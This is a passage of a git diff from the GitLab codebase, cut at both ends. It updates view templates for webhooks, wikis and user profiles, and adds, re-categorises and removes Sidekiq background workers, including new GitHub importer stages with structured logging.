%li
= form.check_box :releases_events, class: 'form-check-input'
- = form.label :releases_events, class: 'list-label form-check-label ml-1' do
+ = form.label :releases_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Releases events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL is triggered when a release is created/updated')
.form-group
= form.label :enable_ssl_verification, s_('Webhooks|SSL verification'), class: 'label-bold checkbox'
.form-check
= form.check_box :enable_ssl_verification, class: 'form-check-input'
- = form.label :enable_ssl_verification, class: 'form-check-label ml-1' do
+ = form.label :enable_ssl_verification, class: 'form-check-label gl-ml-1' do
%strong= s_('Webhooks|Enable SSL verification')
diff --git a/app/views/shared/web_hooks/_test_button.html.haml b/app/views/shared/web_hooks/_test_button.html.haml
index fc24e425ab6..c46b8a99886 100644
--- a/app/views/shared/web_hooks/_test_button.html.haml
+++ b/app/views/shared/web_hooks/_test_button.html.haml
@@ -5,7 +5,7 @@
.hook-test-button.dropdown.inline>
%button.btn{ 'data-toggle' => 'dropdown', class: button_class }
= _('Test')
- = icon('caret-down')
+ = sprite_icon('chevron-down')
%ul.dropdown-menu.dropdown-menu-right{ role: 'menu' }
- triggers.each_value do |event|
%li
diff --git a/app/views/shared/wikis/_form.html.haml b/app/views/shared/wikis/_form.html.haml
index dde1b3afa2d..b6504c7a17e 100644
--- a/app/views/shared/wikis/_form.html.haml
+++ b/app/views/shared/wikis/_form.html.haml
@@ -36,7 +36,7 @@
.col-sm-10
.select-wrapper
= f.select :format, options_for_select(Wiki::MARKUPS, {selected: @page.format}), {}, class: 'form-control select-control'
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'gl-absolute gl-top-3 gl-right-3 gl-text-gray-200')
.form-group.row
.col-sm-2.col-form-label= f.label :content, class: 'control-label-full-width'
diff --git a/app/views/shared/wikis/_sidebar.html.haml b/app/views/shared/wikis/_sidebar.html.haml
index c0ed7b4c6f2..a906bf7aa63 100644
--- a/app/views/shared/wikis/_sidebar.html.haml
+++ b/app/views/shared/wikis/_sidebar.html.haml
@@ -4,17 +4,19 @@
%a.gutter-toggle.float-right.d-block.d-md-none.js-sidebar-wiki-toggle{ href: "#" }
= sprite_icon('chevron-double-lg-right', css_class: 'gl-icon')
- - if @wiki.container.is_a?(Project)
- - git_access_url = wiki_path(@wiki, action: :git_access)
- = link_to git_access_url, class: active_nav_link?(path: 'wikis#git_access') ? 'active' : '', data: { qa_selector: 'clone_repository_link' } do
- = sprite_icon('download', css_class: 'gl-mr-2')
- %span= _("Clone repository")
+ - git_access_url = wiki_path(@wiki, action: :git_access)
+ = link_to git_access_url, class: active_nav_link?(path: 'wikis#git_access') ? 'active' : '', data: { qa_selector: 'clone_repository_link' } do
+ = sprite_icon('download', css_class: 'gl-mr-2')
+ %span= _("Clone repository")
+
+ - if @sidebar_error.present?
+ = render 'shared/alert_info', body: s_('Wiki|The sidebar failed to load. You can reload the page to try again.')
.blocks-container
.block.block-first.w-100
- if @sidebar_page
= render_wiki_content(@sidebar_page)
- - else
+ - elsif @sidebar_wiki_entries
%ul.wiki-pages
= render @sidebar_wiki_entries, context: 'sidebar'
.block.w-100
diff --git a/app/views/shared/wikis/git_access.html.haml b/app/views/shared/wikis/git_access.html.haml
new file mode 100644
index 00000000000..2542860c742
--- /dev/null
+++ b/app/views/shared/wikis/git_access.html.haml
@@ -0,0 +1,37 @@
+- @content_class = "limit-container-width" unless fluid_layout
+- page_title s_("WikiClone|Git Access"), _("Wiki")
+- add_page_specific_style 'page_bundles/wiki'
+
+.wiki-page-header.top-area.has-sidebar-toggle.py-3.flex-column.flex-lg-row
+ = wiki_sidebar_toggle_button
+
+ .git-access-header.w-100.d-flex.flex-column.justify-content-center
+ %span
+ = _("Clone repository")
+ %strong= @wiki.full_path
+
+ .pt-3.pt-lg-0.w-100
+ = render "shared/clone_panel", container: @wiki
+
+.wiki-git-access
+ %h3= s_("WikiClone|Install Gollum")
+ %pre.dark
+ :preserve
+ gem install gollum
+
+ %h3= s_("WikiClone|Clone your wiki")
+ %pre.dark
+ :preserve
+ git clone #{ content_tag(:span, h(default_url_to_repo(@wiki)), class: 'clone')}
+ cd #{h @wiki.path}
+
+ %h3= s_("WikiClone|Start Gollum and edit locally")
+ %pre.dark
+ :preserve
+ gollum
+ == Sinatra/1.3.5 has taken the stage on 4567 for development with backup from Thin
+ >> Thin web server (v1.5.0 codename Knife)
+ >> Maximum connections set to 1024
+ >> Listening on 0.0.0.0:4567, CTRL+C to stop
+
+= render 'shared/wikis/sidebar'
diff --git a/app/views/shared/wikis/git_error.html.haml b/app/views/shared/wikis/git_error.html.haml
new file mode 100644
index 00000000000..dab3b940b9a
--- /dev/null
+++ b/app/views/shared/wikis/git_error.html.haml
@@ -0,0 +1,14 @@
+- if @page
+ - wiki_page_title @page
+
+- add_page_specific_style 'page_bundles/wiki'
+
+- git_access_url = wiki_path(@wiki, action: :git_access)
+
+.wiki-page-header.top-area.gl-flex-direction-column.gl-lg-flex-direction-row
+ .gl-mt-5.gl-mb-3
+ .gl-display-flex.gl-justify-content-space-between
+ %h2.gl-mt-0.gl-mb-5{ data: { qa_selector: 'wiki_page_title', testid: 'wiki_page_title' } }= @page ? @page.human_title : _('Failed to retrieve page')
+ .js-wiki-page-content.md.gl-pt-2{ data: { qa_selector: 'wiki_page_content', testid: 'wiki_page_content' } }
+ = _('The page could not be displayed because it timed out.')
+ = html_escape(_('You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}')) % { linkStart: "<a href=\"#{git_access_url}\">".html_safe, linkEnd: '</a>'.html_safe, cloneIcon: sprite_icon('download', css_class: 'gl-mr-2').html_safe }
diff --git a/app/views/users/_overview.html.haml b/app/views/users/_overview.html.haml
index 1367d80cf54..a78971967ff 100644
--- a/app/views/users/_overview.html.haml
+++ b/app/views/users/_overview.html.haml
@@ -18,7 +18,7 @@
%h4.gl-flex-grow-1
= Feature.enabled?(:security_auto_fix) && @user.bot? ? s_('UserProfile|Bot activity') : s_('UserProfile|Activity')
= link_to s_('UserProfile|View all'), user_activity_path, class: "hide js-view-all"
- .overview-content-list{ data: { href: user_path } }
+ .overview-content-list{ data: { href: user_activity_path } }
.center.light.loading
.spinner.spinner-md
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index ee037a7d66a..9f6b0bc2373 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -1,7 +1,7 @@
- @hide_top_links = true
- @hide_breadcrumbs = true
- @no_container = true
-- page_title @user.blocked? ? s_('UserProfile|Blocked user') : @user.name
+- page_title user_display_name(@user)
- page_description @user.bio_html
- header_title @user.name, user_path(@user)
- page_itemtype 'http://schema.org/Person'
@@ -38,10 +38,10 @@
= link_to avatar_icon_for_user(@user, 400), target: '_blank', rel: 'noopener noreferrer' do
= image_tag avatar_icon_for_user(@user, 90), class: "avatar s90", alt: '', itemprop: 'image'
- - if @user.blocked?
+ - if @user.blocked? || !@user.confirmed?
.user-info
.cover-title
- = s_('UserProfile|Blocked user')
+ = user_display_name(@user)
= render "users/profile_basic_info"
- else
.user-info
@@ -139,7 +139,7 @@
- if can?(current_user, :read_cross_project)
%h4.prepend-top-20
= s_('UserProfile|Most Recent Activity')
- .content_list{ data: { href: user_path } }
+ .content_list{ data: { href: user_activity_path } }
.loading
.spinner.spinner-md
- unless @user.bot?
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index 6f080a97f7a..1f2e8213b64 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -124,7 +124,7 @@
:idempotent:
:tags: []
- :name: cronjob:analytics_instance_statistics_count_job_trigger
- :feature_category: :instance_statistics
+ :feature_category: :devops_reports
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -323,6 +323,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: cronjob:releases_create_evidence
+ :feature_category: :release_evidence
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
+- :name: cronjob:releases_manage_evidence
+ :feature_category: :release_evidence
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: cronjob:remove_expired_group_links
:feature_category: :authentication_and_authorization
:has_external_dependencies:
@@ -380,7 +396,7 @@
:idempotent:
:tags: []
- :name: cronjob:schedule_merge_request_cleanup_refs
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -388,7 +404,7 @@
:idempotent: true
:tags: []
- :name: cronjob:schedule_migrate_external_diffs
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -412,7 +428,7 @@
:idempotent:
:tags: []
- :name: cronjob:stuck_merge_jobs
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -691,6 +707,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: github_importer:github_import_import_pull_request_merged_by
+ :feature_category: :importers
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
+- :name: github_importer:github_import_import_pull_request_review
+ :feature_category: :importers
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: github_importer:github_import_refresh_import_jid
:feature_category: :importers
:has_external_dependencies:
@@ -747,6 +779,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: github_importer:github_import_stage_import_pull_requests_merged_by
+ :feature_category: :importers
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
+- :name: github_importer:github_import_stage_import_pull_requests_reviews
+ :feature_category: :importers
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: github_importer:github_import_stage_import_repository
:feature_category: :importers
:has_external_dependencies:
@@ -829,15 +877,23 @@
:tags: []
- :name: jira_connect:jira_connect_sync_branch
:feature_category: :integrations
- :has_external_dependencies:
+ :has_external_dependencies: true
:urgency: :low
:resource_boundary: :unknown
:weight: 1
:idempotent:
:tags: []
+- :name: jira_connect:jira_connect_sync_builds
+ :feature_category: :integrations
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: jira_connect:jira_connect_sync_merge_request
:feature_category: :integrations
- :has_external_dependencies:
+ :has_external_dependencies: true
:urgency: :low
:resource_boundary: :unknown
:weight: 1
@@ -1045,6 +1101,14 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: pipeline_background:ci_test_failure_history
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: pipeline_cache:expire_job_cache
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -1313,7 +1377,15 @@
:idempotent: true
:tags: []
- :name: analytics_instance_statistics_counter_job
- :feature_category: :instance_statistics
+ :feature_category: :devops_reports
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
+- :name: approve_blocked_pending_approval_users
+ :feature_category: :users
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1377,16 +1449,8 @@
:weight: 2
:idempotent: true
:tags: []
-- :name: create_evidence
- :feature_category: :release_evidence
- :has_external_dependencies:
- :urgency: :low
- :resource_boundary: :unknown
- :weight: 2
- :idempotent:
- :tags: []
- :name: create_note_diff_file
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1402,7 +1466,7 @@
:idempotent:
:tags: []
- :name: delete_diff_files
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1497,6 +1561,14 @@
:weight: 2
:idempotent:
:tags: []
+- :name: environments_canary_ingress_update
+ :feature_category: :continuous_delivery
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: error_tracking_issue_link
:feature_category: :error_tracking
:has_external_dependencies: true
@@ -1562,6 +1634,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: gitlab_performance_bar_stats
+ :feature_category: :metrics
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: gitlab_shell
:feature_category: :source_code_management
:has_external_dependencies:
@@ -1601,7 +1681,7 @@
:urgency: :low
:resource_boundary: :cpu
:weight: 2
- :idempotent:
+ :idempotent: true
:tags: []
- :name: invalid_gpg_signature_update
:feature_category: :source_code_management
@@ -1660,7 +1740,7 @@
:idempotent:
:tags: []
- :name: merge_request_cleanup_refs
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1668,7 +1748,7 @@
:idempotent: true
:tags: []
- :name: merge_request_mergeability_check
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1692,7 +1772,7 @@
:idempotent: true
:tags: []
- :name: migrate_external_diffs
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
@@ -1707,6 +1787,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: namespaces_onboarding_user_added
+ :feature_category: :users
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: new_issue
:feature_category: :issue_tracking
:has_external_dependencies:
@@ -1716,7 +1804,7 @@
:idempotent:
:tags: []
- :name: new_merge_request
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :high
:resource_boundary: :cpu
@@ -1812,7 +1900,7 @@
:urgency: :high
:resource_boundary: :unknown
:weight: 1
- :idempotent:
+ :idempotent: true
:tags: []
- :name: project_daily_statistics
:feature_category: :source_code_management
@@ -1839,6 +1927,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: project_schedule_bulk_repository_shard_moves
+ :feature_category: :gitaly
+ :has_external_dependencies:
+ :urgency: :throttled
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: project_service
:feature_category: :integrations
:has_external_dependencies: true
@@ -1973,7 +2069,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent:
+ :idempotent: true
:tags: []
- :name: self_monitoring_project_create
:feature_category: :metrics
@@ -2024,7 +2120,7 @@
:idempotent: true
:tags: []
- :name: update_merge_requests
- :feature_category: :source_code_management
+ :feature_category: :code_review
:has_external_dependencies:
:urgency: :high
:resource_boundary: :cpu
diff --git a/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb b/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
index bf57619fc6e..81a765d5d08 100644
--- a/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
+++ b/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
@@ -8,7 +8,7 @@ module Analytics
DEFAULT_DELAY = 3.minutes.freeze
- feature_category :instance_statistics
+ feature_category :devops_reports
urgency :low
idempotent!
diff --git a/app/workers/analytics/instance_statistics/counter_job_worker.rb b/app/workers/analytics/instance_statistics/counter_job_worker.rb
index 7fc715419b8..c07b2569453 100644
--- a/app/workers/analytics/instance_statistics/counter_job_worker.rb
+++ b/app/workers/analytics/instance_statistics/counter_job_worker.rb
@@ -5,7 +5,7 @@ module Analytics
class CounterJobWorker
include ApplicationWorker
- feature_category :instance_statistics
+ feature_category :devops_reports
urgency :low
idempotent!
diff --git a/app/workers/approve_blocked_pending_approval_users_worker.rb b/app/workers/approve_blocked_pending_approval_users_worker.rb
new file mode 100644
index 00000000000..8ca61d68bfd
--- /dev/null
+++ b/app/workers/approve_blocked_pending_approval_users_worker.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ApproveBlockedPendingApprovalUsersWorker
+ include ApplicationWorker
+
+ idempotent!
+
+ feature_category :users
+
+ def perform(current_user_id)
+ current_user = User.find(current_user_id)
+
+ User.blocked_pending_approval.find_each do |user|
+ Users::ApproveService.new(current_user).execute(user)
+ end
+ end
+end
diff --git a/app/workers/build_finished_worker.rb b/app/workers/build_finished_worker.rb
index af2305528ce..d7a5fcf4f18 100644
--- a/app/workers/build_finished_worker.rb
+++ b/app/workers/build_finished_worker.rb
@@ -33,11 +33,6 @@ class BuildFinishedWorker # rubocop:disable Scalability/IdempotentWorker
BuildCoverageWorker.new.perform(build.id)
Ci::BuildReportResultWorker.new.perform(build.id)
- # TODO: As per https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/194, it may be
- # best to avoid creating more workers that we have no intention of calling async.
- # Change the previous worker calls on top to also just call the service directly.
- Ci::TestCasesService.new.execute(build)
-
# We execute these async as these are independent operations.
BuildHooksWorker.perform_async(build.id)
ExpirePipelineCacheWorker.perform_async(build.pipeline_id) if build.pipeline.cacheable?
diff --git a/app/workers/ci/test_failure_history_worker.rb b/app/workers/ci/test_failure_history_worker.rb
new file mode 100644
index 00000000000..e1562cb3836
--- /dev/null
+++ b/app/workers/ci/test_failure_history_worker.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Ci
+ class TestFailureHistoryWorker
+ include ApplicationWorker
+ include PipelineBackgroundQueue
+
+ idempotent!
+
+ def perform(pipeline_id)
+ Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
+ Ci::TestFailureHistoryService.new(pipeline).execute
+ end
+ end
+ end
+end
diff --git a/app/workers/clusters/applications/check_prometheus_health_worker.rb b/app/workers/clusters/applications/check_prometheus_health_worker.rb
index 2e8ee739946..cf9534c9a78 100644
--- a/app/workers/clusters/applications/check_prometheus_health_worker.rb
+++ b/app/workers/clusters/applications/check_prometheus_health_worker.rb
@@ -20,7 +20,7 @@ module Clusters
demo_project_ids = Gitlab::Monitor::DemoProjects.primary_keys
clusters = Clusters::Cluster.with_application_prometheus
- .with_project_alert_service_data(demo_project_ids)
+ .with_project_http_integrations(demo_project_ids)
# Move to a seperate worker with scoped context if expanded to do work on customer projects
clusters.each { |cluster| Clusters::Applications::PrometheusHealthCheckService.new(cluster).execute }
diff --git a/app/workers/concerns/gitlab/github_import/object_importer.rb b/app/workers/concerns/gitlab/github_import/object_importer.rb
index 63c1ba8e699..575cd4862b0 100644
--- a/app/workers/concerns/gitlab/github_import/object_importer.rb
+++ b/app/workers/concerns/gitlab/github_import/object_importer.rb
@@ -15,17 +15,25 @@ module Gitlab
feature_category :importers
worker_has_external_dependencies!
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
end
# project - An instance of `Project` to import the data into.
# client - An instance of `Gitlab::GithubImport::Client`
# hash - A Hash containing the details of the object to import.
def import(project, client, hash)
- object = representation_class.from_json_hash(hash)
+ info(project.id, message: 'starting importer')
+ object = representation_class.from_json_hash(hash)
importer_class.new(object, project, client).execute
counter.increment
+ info(project.id, message: 'importer finished')
+ rescue => e
+ error(project.id, e)
end
def counter
@@ -52,6 +60,35 @@ module Gitlab
def counter_description
raise NotImplementedError
end
+
+ private
+
+ def info(project_id, extra = {})
+ logger.info(log_attributes(project_id, extra))
+ end
+
+ def error(project_id, exception)
+ logger.error(
+ log_attributes(
+ project_id,
+ message: 'importer failed',
+ 'error.message': exception.message
+ )
+ )
+
+ Gitlab::ErrorTracking.track_and_raise_exception(
+ exception,
+ log_attributes(project_id)
+ )
+ end
+
+ def log_attributes(project_id, extra = {})
+ extra.merge(
+ import_source: :github,
+ project_id: project_id,
+ importer: importer_class.name
+ )
+ end
end
end
end
diff --git a/app/workers/concerns/gitlab/github_import/rescheduling_methods.rb b/app/workers/concerns/gitlab/github_import/rescheduling_methods.rb
index 1c6413674a0..eb1af0869bd 100644
--- a/app/workers/concerns/gitlab/github_import/rescheduling_methods.rb
+++ b/app/workers/concerns/gitlab/github_import/rescheduling_methods.rb
@@ -6,7 +6,7 @@ module Gitlab
# importing GitHub projects.
module ReschedulingMethods
# project_id - The ID of the GitLab project to import the note into.
- # hash - A Hash containing the details of the GitHub object to imoprt.
+ # hash - A Hash containing the details of the GitHub object to import.
# notify_key - The Redis key to notify upon completion, if any.
# rubocop: disable CodeReuse/ActiveRecord
def perform(project_id, hash, notify_key = nil)
diff --git a/app/workers/concerns/gitlab/github_import/stage_methods.rb b/app/workers/concerns/gitlab/github_import/stage_methods.rb
index e2dee315cde..e5985fb94da 100644
--- a/app/workers/concerns/gitlab/github_import/stage_methods.rb
+++ b/app/workers/concerns/gitlab/github_import/stage_methods.rb
@@ -5,11 +5,17 @@ module Gitlab
module StageMethods
# project_id - The ID of the GitLab project to import the data into.
def perform(project_id)
+ info(project_id, message: 'starting stage')
+
return unless (project = find_project(project_id))
client = GithubImport.new_client_for(project)
try_import(client, project)
+
+ info(project_id, message: 'stage finished')
+ rescue => e
+ error(project_id, e)
end
# client - An instance of Gitlab::GithubImport::Client.
@@ -27,6 +33,39 @@ module Gitlab
Project.joins_import_state.where(import_state: { status: :started }).find_by(id: id)
end
# rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ def info(project_id, extra = {})
+ logger.info(log_attributes(project_id, extra))
+ end
+
+ def error(project_id, exception)
+ logger.error(
+ log_attributes(
+ project_id,
+ message: 'stage failed',
+ 'error.message': exception.message
+ )
+ )
+
+ Gitlab::ErrorTracking.track_and_raise_exception(
+ exception,
+ log_attributes(project_id)
+ )
+ end
+
+ def log_attributes(project_id, extra = {})
+ extra.merge(
+ import_source: :github,
+ project_id: project_id,
+ import_stage: self.class.name
+ )
+ end
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
end
end
end
diff --git a/app/workers/concerns/limited_capacity/worker.rb b/app/workers/concerns/limited_capacity/worker.rb
index b5a97e49300..9dd8d942146 100644
--- a/app/workers/concerns/limited_capacity/worker.rb
+++ b/app/workers/concerns/limited_capacity/worker.rb
@@ -73,7 +73,7 @@ module LimitedCapacity
raise
ensure
job_tracker.remove(jid)
- report_prometheus_metrics
+ report_prometheus_metrics(*args)
re_enqueue(*args) unless exception
end
diff --git a/app/workers/concerns/reenqueuer.rb b/app/workers/concerns/reenqueuer.rb
index 6f399b6d90b..641ca691868 100644
--- a/app/workers/concerns/reenqueuer.rb
+++ b/app/workers/concerns/reenqueuer.rb
@@ -37,6 +37,7 @@ module Reenqueuer
include ReenqueuerSleeper
sidekiq_options retry: false
+ deduplicate :none
end
def perform(*args)
@@ -52,7 +53,11 @@ module Reenqueuer
private
def reenqueue(*args)
- self.class.perform_async(*args) if yield
+ result = yield
+
+ self.class.perform_async(*args) if result
+
+ result
end
# Override as needed
diff --git a/app/workers/concerns/worker_context.rb b/app/workers/concerns/worker_context.rb
index f2ff3ecfb6b..6acb9acceeb 100644
--- a/app/workers/concerns/worker_context.rb
+++ b/app/workers/concerns/worker_context.rb
@@ -5,7 +5,7 @@ module WorkerContext
class_methods do
def worker_context(attributes)
- @worker_context = Gitlab::ApplicationContext.new(attributes)
+ @worker_context = Gitlab::ApplicationContext.new(**attributes)
end
def get_worker_context
@@ -60,6 +60,6 @@ module WorkerContext
end
def with_context(context, &block)
- Gitlab::ApplicationContext.new(context).use { yield(**context) }
+ Gitlab::ApplicationContext.new(**context).use { yield(**context) }
end
end
diff --git a/app/workers/create_evidence_worker.rb b/app/workers/create_evidence_worker.rb
deleted file mode 100644
index b18028e4114..00000000000
--- a/app/workers/create_evidence_worker.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class CreateEvidenceWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- feature_category :release_evidence
- weight 2
-
- # pipeline_id is optional for backward compatibility with existing jobs
- # caller should always try to provide the pipeline and pass nil only
- # if pipeline is absent
- def perform(release_id, pipeline_id = nil)
- release = Release.find_by_id(release_id)
- return unless release
-
- pipeline = Ci::Pipeline.find_by_id(pipeline_id)
-
- ::Releases::CreateEvidenceService.new(release, pipeline: pipeline).execute
- end
-end
diff --git a/app/workers/create_note_diff_file_worker.rb b/app/workers/create_note_diff_file_worker.rb
index 8a1709f04e1..06790cc89d9 100644
--- a/app/workers/create_note_diff_file_worker.rb
+++ b/app/workers/create_note_diff_file_worker.rb
@@ -3,7 +3,7 @@
class CreateNoteDiffFileWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
def perform(diff_note_id)
diff_note = DiffNote.find(diff_note_id)
diff --git a/app/workers/delete_diff_files_worker.rb b/app/workers/delete_diff_files_worker.rb
index a31cf650b83..289df8873ec 100644
--- a/app/workers/delete_diff_files_worker.rb
+++ b/app/workers/delete_diff_files_worker.rb
@@ -3,7 +3,7 @@
class DeleteDiffFilesWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
# rubocop: disable CodeReuse/ActiveRecord
def perform(merge_request_diff_id)
diff --git a/app/workers/environments/canary_ingress/update_worker.rb b/app/workers/environments/canary_ingress/update_worker.rb
new file mode 100644
index 00000000000..53cc38e9eec
--- /dev/null
+++ b/app/workers/environments/canary_ingress/update_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Environments
+ module CanaryIngress
+ class UpdateWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: false
+ idempotent!
+ worker_has_external_dependencies!
+ feature_category :continuous_delivery
+
+ def perform(environment_id, params)
+ Environment.find_by_id(environment_id).try do |environment|
+ Environments::CanaryIngress::UpdateService
+ .new(environment.project, nil, params.with_indifferent_access)
+ .execute(environment)
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/gitlab/github_import/advance_stage_worker.rb b/app/workers/gitlab/github_import/advance_stage_worker.rb
index 834c2f7791c..af406b32415 100644
--- a/app/workers/gitlab/github_import/advance_stage_worker.rb
+++ b/app/workers/gitlab/github_import/advance_stage_worker.rb
@@ -16,6 +16,8 @@ module Gitlab
# The known importer stages and their corresponding Sidekiq workers.
STAGES = {
+ pull_requests_merged_by: Stage::ImportPullRequestsMergedByWorker,
+ pull_request_reviews: Stage::ImportPullRequestsReviewsWorker,
issues_and_diff_notes: Stage::ImportIssuesAndDiffNotesWorker,
notes: Stage::ImportNotesWorker,
lfs_objects: Stage::ImportLfsObjectsWorker,
diff --git a/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb b/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb
new file mode 100644
index 00000000000..79ef917bbc5
--- /dev/null
+++ b/app/workers/gitlab/github_import/import_pull_request_merged_by_worker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ class ImportPullRequestMergedByWorker # rubocop:disable Scalability/IdempotentWorker
+ include ObjectImporter
+
+ def representation_class
+ Gitlab::GithubImport::Representation::PullRequest
+ end
+
+ def importer_class
+ Importer::PullRequestMergedByImporter
+ end
+
+ def counter_name
+ :github_importer_imported_pull_requests_merged_by
+ end
+
+ def counter_description
+ 'The number of imported GitHub pull requests merged by'
+ end
+ end
+ end
+end
diff --git a/app/workers/gitlab/github_import/import_pull_request_review_worker.rb b/app/workers/gitlab/github_import/import_pull_request_review_worker.rb
new file mode 100644
index 00000000000..b8516fb8670
--- /dev/null
+++ b/app/workers/gitlab/github_import/import_pull_request_review_worker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ class ImportPullRequestReviewWorker # rubocop:disable Scalability/IdempotentWorker
+ include ObjectImporter
+
+ def representation_class
+ Gitlab::GithubImport::Representation::PullRequestReview
+ end
+
+ def importer_class
+ Importer::PullRequestReviewImporter
+ end
+
+ def counter_name
+ :github_importer_imported_pull_request_reviews
+ end
+
+ def counter_description
+ 'The number of imported GitHub pull request reviews'
+ end
+ end
+ end
+end
diff --git a/app/workers/gitlab/github_import/import_pull_request_worker.rb b/app/workers/gitlab/github_import/import_pull_request_worker.rb
index ec806ad170b..9560874f247 100644
--- a/app/workers/gitlab/github_import/import_pull_request_worker.rb
+++ b/app/workers/gitlab/github_import/import_pull_request_worker.rb
@@ -6,7 +6,7 @@ module Gitlab
include ObjectImporter
def representation_class
- Representation::PullRequest
+ Gitlab::GithubImport::Representation::PullRequest
end
def importer_class
diff --git a/app/workers/gitlab/github_import/stage/finish_import_worker.rb b/app/workers/gitlab/github_import/stage/finish_import_worker.rb
index 73699a74a4a..058e1a0853d 100644
--- a/app/workers/gitlab/github_import/stage/finish_import_worker.rb
+++ b/app/workers/gitlab/github_import/stage/finish_import_worker.rb
@@ -20,12 +20,15 @@ module Gitlab
def report_import_time(project)
duration = Time.zone.now - project.created_at
- path = project.full_path
- histogram.observe({ project: path }, duration)
+ histogram.observe({ project: project.full_path }, duration)
counter.increment
- logger.info("GitHub importer finished for #{path} in #{duration.round(2)} seconds")
+ info(
+ project.id,
+ message: "GitHub project import finished",
+ duration_s: duration.round(2)
+ )
end
def histogram
diff --git a/app/workers/gitlab/github_import/stage/import_base_data_worker.rb b/app/workers/gitlab/github_import/stage/import_base_data_worker.rb
index 11c2a2ac9b4..202bb335ca1 100644
--- a/app/workers/gitlab/github_import/stage/import_base_data_worker.rb
